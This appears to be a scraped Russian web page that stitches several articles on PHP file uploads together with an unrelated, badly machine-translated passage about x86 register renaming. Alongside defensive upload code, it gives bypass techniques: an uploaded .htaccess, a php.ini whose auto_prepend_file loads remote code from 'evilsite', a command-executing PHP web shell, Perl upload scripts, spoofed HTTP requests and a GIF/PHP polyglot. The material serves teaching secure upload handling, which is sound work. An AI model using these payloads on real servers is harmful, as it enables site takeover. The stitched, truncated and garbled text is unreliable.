Загрузка файлов с помощью PHP. Загрузка файлов на сервер с помощью PHP. Основные уязвимости и способы их избежать §1. Общие принципы

1 53

GreyCat

1 ответ:

модель процессора, описанная в руководстве по процессору Intel/AMD, является довольно несовершенной моделью для real двигатель исполнения современного ядра. В частности, понятие регистров процессора не соответствует действительности, нет такого понятия, как регистр EAX или RAX.

одной из основных задач декодера инструкций является преобразование устаревших инструкций x86 / x64 в micro-ops , инструкции RISC-подобного процессора. Небольшие инструкции, которые легки для того чтобы исполнить одновременно и мочь принять преимущество множественных подблоков исполнения. Позволяет одновременно выполнять до 6 инструкций.

чтобы сделать эту работу, понятие регистров процессора также виртуализируется. Декодер команд выделяет регистр из большого банка регистров. Когда инструкция пенсии , значение этого динамически выделенного регистра записывается обратно в любой регистр, который в настоящее время содержит значение ну, скажем, РАКС.

чтобы сделать эту работу плавной и эффективной, позволяя многим инструкциям выполняться одновременно, очень важно, чтобы эти операции не имели взаимозависимости. И самое худшее, что вы можете иметь, это то, что значение регистра зависит от других инструкций. Реестр EFLAGS печально известен, многие инструкции изменяют его.

такая же проблема с тем, как вы как его на работу. Большая проблема, она требует, чтобы два значения регистра были объединены когда инструкция будет удалена. Создание зависимости данных, которая будет засорять ядро. Заставляя верхний 32-бит равняться 0, эта зависимость мгновенно исчезает, больше не нужно сливаться. Скорость выполнения деформации 9.

Действительно, загрузка файлов является важной особенностью многих сайтов и веб-приложений, которые мы используем ежедневно. В этой статье я покажу Вам, еще один способ для загрузки файлов с помощью PHP.

Требования

Загрузить файлы на сервер не сложно, но есть несколько мелких деталей, которые должны быть учтены, иначе загрузка не будет выполнена. Во-первых, вы должны убедиться, что PHP настроен на разрешение загрузки. Проверьте ваш php.ini файл и проверьте директиву file_uploads , которая должна быть установлена в On .

После того как Вы настроили конфигурации позволяющие серверу принимать загруженные файлы, Вы можете акцентировать ваше внимание на HTML составляющей. Для загрузки файлов со стороны HTML применяются формы. Крайне важно, чтобы ваши формы использовали метод POST и для атрибута enctype имели значение multipart/form-data .

<form action = "upload.php" method = "post" enctype = "multipart/form-data" >

Написание сценария для процесса загрузки

Процесс загрузки файла в общих чертах выглядит так:

  • Посетитель просматривает HTML страницу с формой для загрузки файлов;
  • Посетитель выбирает в форме файл, который он хочет загрузить;
  • Браузер кодирует файл и отправляет его в качестве части POST запроса;
  • PHP получает форму представления, декодирует файл и сохраняет его во временный каталог на сервере;
  • Далее PHP скрипт перемещает файл на постоянное место хранение.

Следовательно для того чтобы посетитель смог загрузить файл необходима HTML-форма, которая будет предоставлена пользователю и PHP скрипт, чтобы заботиться о загрузке файлов на сервер.

HTML форма

HTML формы обеспечивают интерфейс, через который пользователь инициирует загрузку файлов. Помните, form элемент должен иметь ​​method = POST и не должен кодировать данные при отправке на сервер — атрибут enctype в значение multipart/form-data . Располагаем элемент input для выбора файла. Как и для любого другого элемента формы, нам очень важно указать значение атрибута name , чтобы можно было ссылаться на него в PHP сценарии, который обрабатывает форму.

Форма загрузки файлов выглядит следующим образом:

1
2
3
4
5






Стоит отметить, что различные браузеры отображают поле файл по-разному. Это не проблема, так как пользователи привыкли к тому как выглядит поле выбора файла в их любимом браузере. Однако если внешность важна для Вас, я рекомендую вам ознакомиться с этой статьей .

PHP сценарий загрузки

Информация о загружаемом файле располагается в многомерном массиве $_FILES . Этот массив индексируется по именам файлов помещенных в поле HTML формы. Массив содержит следующую информацию о каждом файле:

  • $_FILES[«myFile»][«name»] — исходное имя файла;
  • $_FILES[«myFile»][«type»] — MIME-тип файла;
  • $_FILES[«myFile»][«size»] — размер файла (в байтах);
  • $_FILES[«myFile»][«tmp_name»] — имя временного файла;
  • $_FILES[«myFile»][«error»] — код любой ошибки при передаче.

Функция move_uploaded_file() перемещает загруженный файл из временного в постоянное место. Вам следует всегда использовать move_uploaded_file() вместо copy() и rename() для этой цели, поскольку она выполняет дополнительную проверку, чтобы убедиться, что файл был действительно загружен с помощью запроса HTTP POST.

Если вы планируете сохранять файл с реальным именем, то нужно соблюсти несколько правил. Имя файла не должно содержать такие символы как слэш, которые могут повлиять на расположение. Название не должно совпадать с названием уже существующих файлов, чтобы не переписать их. Заменяем любые символы не являющиеся буквой или цифрой на нижнее подчеркивание, и добавляем «увеличительное» число при совпадении имен.

Получение и обработка загрузки файлов с помощью PHP выглядит следующим образом:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

// директория для сохранения файла
define ("UPLOAD_DIR" , "/srv/www/uploads/" ) ;

if (! empty ($_FILES [ "myFile" ] ) ) {
$myFile = $_FILES [ "myFile" ] ;

// проверяем на наличие ошибок при загрузке
if ($myFile [ "error" ] !== UPLOAD_ERR_OK) {
echo "

Произошла ошибка.

" ;
exit ;
}

// обеспечиваем безопасное наименование файла
$name = preg_replace ("/[^A-Z0-9._-]/i" , "_" , $myFile [ "name" ] ) ;

// при совпадении имен файлов добавляем номер
$i = 0 ;
$parts = pathinfo ($name ) ;
while (file_exists (UPLOAD_DIR . $name ) ) {
$i ++;
$name = $parts [ "filename" ] . "-" . $i . "." . $parts [ "extension" ] ;
}

// перемещаем файл в постоянное место хранения
$success = move_uploaded_file ($myFile [ "tmp_name" ] ,
UPLOAD_DIR . $name ) ;
if (! $success ) {
echo "" ;
exit ;
}

// задаем права на новый файл
chmod (UPLOAD_DIR . $name , 0644 ) ;

echo "

Файл " . $name . " успешно загружен.

" ;
}

Сначала проверяем файл, загружен ли он без каких-либо ошибок. Затем определяем безопасное имя файла, а затем помещает файл в окончательный каталог с помощью move_uploaded_file() . И в конце устанавливаем права на доступ к файлу.

Вопросы безопасности

Большинство из нас не позволили бы загружать и хранить совершенно незнакомые файлы у себя на сервере, но к сожалению в текущей ситуации это так и есть. Поэтому следует описать несколько шагов, которые позволят свести к минимуму риски, связанные с безопасностью при загрузки файлов.

Один из них заключается в проверке типа загружаемого файла. Опираться на значение хранящееся в $_FILES[«myFile»][«type»] «не есть хорошо», так как расширения в имени файлов могут быть легко подделаны. В таких ситуация лучше проанализировать содержимое файла, например использование функции exif_imagetype() позволяет определить, действительно ли загружаемый файл является картинкой с расширением GIF, JPEG и тд. Если exif_imagetype() не доступна (функция требует расширение Exif ), то вы можете использовать getimagesize() . Возвращаемый массив будет содержать размеры и тип изображения.

1
2
3
4
5
6
7

...
// файл должен являться изображением
$fileType = exif_imagetype ($_FILES [ "myFile" ] [ "tmp_name" ] ) ;
$allowed = array (IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG) ;
if (! in_array ($fileType , $allowed ) ) {
// тип файл не допускается
...

Для не-графических файлов, вы можете использовать Exec() для вызова утилиты Unix — File . Данная утилита определяет тип файла.

Другой шаг, который вы можете сделать для усиления безопасности при загрузке файлов, это наложить жесткие ограничения на общий размер запроса POST и количество файлов, которые могут быть загружены. Чтобы сделать это, необходимо указать соответствующее значение для директив upload_max_size , post_max_size и max_file_uploads в файле php.ini .

  • upload_max_size определяет максимальный размер загружаемых файлов.
  • В дополнение к размеру загрузки, вы можете ограничить размер запрос POST благодаря директиве post_max_size .
  • max_file_uploads более новая директива (добавлена ​​в версии 5.2.12), которая ограничивает количество загружаемых файлов.

post_max_size = 8M
upload_max_size = 2M
max_file_uploads = 20

Третий шаг (несколько экзотический), который вы можете предпринять, чтобы свести к минимуму риск при загрузке файлов — сканирование антивирусным сканером. Стоит добавить, что данная тема является очень серьезной, поэтому ей следует уделить достаточно внимание при разработке веб-приложений!

Таким образом происходит загрузка файлов на сервер с помощью PHP . Если у Вас есть замечания или дополнения к данной статье, оставляйте их в комментариях. Спасибо за прочтение!

P.S. У вас сайт на движке Joomla и вы пользуетесь услугами хостинга? Для тех кто добивается максимальной производительности интернет-проектов, стоит попробовать хостинг с joomla . Специализированный хостинг для сайтов на Joomla обеспечит стабильную и эффективную работу, а выгодные тарифные планы никого не оставят равнодушными.

В прошлой статье мы с Вами разбирали . Однако, я Вам уже сказал, что использовать код, который там был рассмотрен, категорически нельзя! И в этой статье мы поговорим о безопасности при загрузке файлов на сервер в PHP .

Давайте напомню код, который мы вчера рассматривали:

$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

Фактически, на данный момент может быть загружено абсолютно всё, что угодно: любые исполняемые файлы, скрипты, HTML-страницы и другие весьма опасные вещи. Поэтому обязательно надо проверять загружаемые файлы очень тщательно. И сейчас мы с Вами займёмся их тщательной проверкой.

Поскольку различных вариантов задач может быть очень много, мы рассмотрим вариант с загрузкой простого изображения, на которые должны накладываться следующие ограничения:

  1. Тип - только jpg (jpeg ).
  2. Размер - менее 100 КБ .
" в соответствии с этими требованиями:

$blacklist = array(".php", ".phtml", ".php3", ".php4", ".html", ".htm");
foreach ($blacklist as $item)
if(preg_match("/$item\$/i", $_FILES["somename"]["name"])) exit;
$type = $_FILES["somename"]["type"];
$size = $_FILES["somename"]["size"];
if (($type != "image/jpg") && ($type != "image/jpeg")) exit;
if ($size > 102400) exit;
$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

Теперь давайте подробно поясню, что здесь происходит. Первым делом мы проверяем на расширение загружаемого файла . Если оно представляет собой PHP-скрипт , то мы такой файл просто не пропускаем. Дальше мы получаем MIME-type и размер. Проверяем их на удовлетворение нашим условиям. Если всё хорошо, то мы загружаем файл.

Вы, наверное, можете спросить: "А зачем надо проверять и расширение, и MIME-type? ". Тут очень важно понимать, что это далеко не одно и то же. Если злоумышленник попытается отправить PHP-файл через браузер , то и одной проверки MIME-type хватит, чтобы его попытка провалилась. А вот если он напишет какой-нибудь скрипт, который будет формировать запрос и отсылать вредосный файл, то этого не хватит. Почему? А потому, что MIME-type задаётся клиентом, а не сервером! И фактически, злоумышленник может поставить любой MIME-type (и картинки тоже), но при этом отсылать PHP-скрипт . И вот именно такую хитрую попытку мы и ломаем, проверяя на расширение файла.

Я сразу скажу, что данный код далеко не 100% защита (100% просто не существует), однако, взломать такой код будет очень и очень тяжело, поэтому можете смело утверждать, что Вы обеспечили высокую безопасность при загрузке файлов на сервер через PHP .

«…или почему фильтрация по черному списку это плохо?»

Представим обычную загрузку файлов с помощью php. Я думаю все с этим сталкивались. Отбросим извращенные варианты, типа хранения файлов в базе, их переименовывание и прочее. Возьмем именно обычную наипростейшую форму загрузки файлов.

Обычно это форма на хтмл, затем серверная валидация по расширению загружаемого файла и последующий перенос загруженного файла из временной папки в папку загрузок. Отбросим все миллионы ошибок, которые совершают программисты в этих, казалось бы простейших, вещах, и посчитаем что этот функционал реализован грамотно и без ошибок.

Встает вопрос, а как именно фильтровать расширения файлов? Существуют два варианта:

  • По белому списку — составляем список допустимых расширений файлов, а все остальные блокируем
  • По черному списку — составляем список блокируемых расширений, а все остальные загружаем

Беда в том что для реализации фильтрации по белому списку нужно предусмотреть все возможные варианты нужных расширений которые будет загружать наш скрипт. И если для мест где необходимо загружать только картинки — все просто, то во многих других случаях прийдется составить довольно большой список легитимных расширений. Поэтому многим разработчикам кажется, что следует пойти от обратного, и запретить опасные расширения.

И если в первом случае многие уверены, что будут залиты файлы только с требуемыми расширениями (в статье я расскажу вам как можно обойти и это), то вот во втором случае не все так просто.

Эта статья о том чем плоха фильтрация по черному списку, и как этот фильтр можно обойти. А также приятным бонусом добавлю способ обхода фильтра по белому списку (и даже это возможно! о как!)

Начнем мы с проблем фильтрации по черному списку.

Куча расширений

Первая проблема состоит в том, что апачем по дефолту (хотя может и не по дефолту, но по крайней мере очень часто) обрабатывается куча файлов с различными расширениями как php скрипты. Вы по-прежнему думаете что достаточно блокировать только «.php»? А вот фигушки, вот неполный список возможных расширений:

Php .phtml .php4 .php5 .html

Да, да, в некоторых конфигурациях апача «.html» может обрабатыватся как php скрипт.

А еще мы же забыли про cgi, перл и прочие вкусняшки для хаккера. Да, обычно их запуск возможен только из папки «/cgi-bin», но кто знает, может быть именно ваш сервер сконфигурирован иначе…

И достаточно упустить хоть одно расширение, и злоумышленник, при попытке взлома, наверняка попытается залить файл с таким расширением и затем его выполнить, что скорее всего приведет к полному взлому вашего сайта.

Меняем конфиг под себя

Ну все, админ оказался параноиком и добавил в фильтр все исполняемые расширения. Но, как говорится, на каждый хитрый болт найдется своя хитрая гайка. Ведь админу даже не подумалось добавить расширение «.htaccess» (если это конечно можно назвать расширением:D) в список фильтра.

Пробуем загрузить файл с именнем «.htaccess» следующего содержания:

AddType application/x-httpd-php .doc

И теперь в папке куда был загружен этот файл, все файлы с расширением «.doc» будут интерпетироваться как php скрипты и соответственно выполнятся. Осталось загрузить php скрипт с этим расширением и он будет успешно выполнен.

Льем php.ini

Не так давно я писал про интересную особенность связки php+cgi (и кстати fastcgi тоже):

Для выполнения данной атаки мы должны иметь следующее стечение обстоятельств:

  • Php должен быть подключен через CGI
  • Папка куда загружаются файлы должен содержать хотябы один php скрипт (допустим index.php)
  • Фильтр не должен резать расширение.ini (то есть у нас должно получится загрузить файл php.ini)

В php есть такая интересная опция, которая называется auto_prepend_file :

Определяет имя файла, который будет автоматически обрабатываться перед основным файлом. Файл вызывается так, будто он был подключен при помощи функции require, так что include_path также используется.

Если в двух словах, то перед каждым выполнением любого скрипта, будет исполнятся сначала скрипт указанный в «auto_prepend_file». Догадываетесь к чему я клоню?

Интересно то, что можно указывать удаленный адрес файла на другом сервере, и это очень удобно. Льем такой файл php.ini:

; Включаем чтение удаленных файлов (это требует allow_url_include)
allow_url_fopen=1

; Включаем возможность удаленного инклуда
allow_url_include=1

; Подключаем «свой» скрипт со «злым» кодом
auto_prepend_file= «http://evilsite/code.txt»

Залили файл? Отлично! Теперь обращаемся к любому php скрипту который есть в дирректории куда заливаются все файлы (именно для этого я писал что нужен php скрипт в этой папке). При обращении к скрипту из этой папки в первую очередь будет выполнен файл указанный в auto_prepend_file.

«Двойное» расширение

«MIME-код — cправка, что ты не верблюд.»
несмешная штука из журнала ]);
?>

Если этот скрипт находится на сервере, то можно выполнить любую команду через запрос:
server/shell.php?command=any_Unix_shell_command

Более продвинутые PHP-shell могут быть найдены в Интернете. Они могут загружать произвольные файлы, выполнять запросы SQL, и т.д.

Исходник Perl, показанный ниже, загружает PHP-Shell на сервер, используя upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->request(POST "http://localhost/upload1.php" ,
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();


* This source code was highlighted with Source Code Highlighter .

Этот скрипт использует libwwwperl , который является удобной библиотекой Perl, эмулирующей HTTP-клиента.

И вот что случится при выполнении этого скрипта:

Запрос:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost

Content-Length: 156

--xYzZY

Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache

Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

После того, как мы загрузили shell-скрипт, можно спокойно выполнить команду:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL – command-line клиент HTTP, доступный на Unix и Windows. Это очень полезный инструмент для того, чтобы проверить веб-приложения. cURL может быть загружен от curl.haxx.se

Проверка Content-Type

Приведенный выше пример редко когда имеет место. В большинстве случаев программисты используют простые проверки, чтобы пользователи загружали файлы строго определенного типа. Например, используя заголовок Content-Type:

Пример 2 (upload2.php):

if ($_FILES[;
exit;
}
$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter .

В этом случае, если злоумышленник только попытается загрузить shell.php, наш код будет проверять MIME-тип загружаемого файла в запросе и отсеивать ненужное.

Запрос:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY--

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Пока неплохо. К сожалению, есть способ обойти эту защиту, потому что проверяемый MIME-тип приходит вместе с запросом. В запросе выше он установлен как «text/plain» (его устанавливает браузер – прим. переводчика) . Ничего не мешает злоумышленнику установить его в «image/gif», поскольку с помощью эмуляции клиента он полностью управляет запросом, который посылает (upload2.pl):
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload2.php" ,
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter .

И вот что получится.

Запрос:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html

В итоге, наш upload2.pl подделывает заголовок Content-Type, заставляя сервер принять файл.

Проверка содержания файла изображения

Вместо того, чтобы доверять заголовку Content-Type, разработчик PHP мог бы проверять фактическое содержание загруженного файла, чтобы удостовериться, что это действительно изображение. Функция PHP getimagesize() часто используется для этого. Она берет имя файла как аргумент и возвращает массив размеров и типа изображения. Рассмотрим пример upload3.php ниже.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) {
echo "Sorry, we only accept GIF and JPEG images\n" ;
exit;
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter .

Теперь, если нападавший попытается загрузить shell.php, даже если он установит заголовок Content-Type в «image/gif», то upload3.php все равно выдаст ошибку.

Запрос:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

Можно подумать, что теперь мы можем пребывать в уверенности, что будут загружаться только файлы GIF или JPEG. К сожалению, это не так. Файл может быть действительно в формате GIF или JPEG, и в то же время PHP-скриптом. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных. Когда getimagesize() смотрит на файл, он воспримет это как корректный GIF или JPEG. Когда транслятор PHP смотрит на файл, он видит выполнимый код PHP в некотором двоичном «мусоре», который будет игнорирован. Типовой файл, названный crocus.gif содержится в примере (см. начало статьи). Подобное изображение может быть создано в любом графическом редакторе.

Итак, создадим perl-скрипт для загрузки нашей картинки:

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload3.php" ,
Content_Type => "form-data" ,
Content => , ],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter .

Этот код берет файл crocus.gif и загружает это с названием crocus.php. Выполнение приведет к следующему:

Запрос:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY

Content-Type: image/gif
GIF89a(...some binary data...)(... skipping the rest of binary data ...)
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Теперь нападавший может выполнить uploads/crocus.php и получить следущее:

Как видно, транслятор PHP игнорирует двоичные данные в начале изображения и выполняет последовательность "" в комментарии GIF.

Проверка расширения загружаемого файла

Читатель этой статьи мог бы задаться вопросом, почему мы просто не проверяем расширение загруженного файла? Если мы не позволим загружать файлы *.php, то сервер никогда не сможет выполнить этот файл как скрипт. Давайте рассмотрим и этот подход.

Мы можем сделать черный список расширений файла и проверить имя загружаемого файла, игнорируя загрузку файла с выполняемыми расширениями (upload4.php):

$blacklist = array(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) {
if (preg_match(;
exit;
}
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>


* This source code was highlighted with Source Code Highlighter .

Выражение preg_match ("/$item\$/i", $_FILES["userfile"]["name"]) соответствует имени файла, определенному пользователем в массиве черного списка. Модификатор «i» говорит, что наше выражение регистронезависимое. Если расширение файла соответствует одному из пунктов в черном списке, файл загружен не будет.

Если мы пытаемся загрузить файл c расширением.php, это приведет к ошибке:

Запрос:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif

--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
Если мы загружаем файл с расширением.gif, то оно будет загружено:

Запрос:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Теперь, если мы запросим загруженный файл, то он не будет выполнен сервером: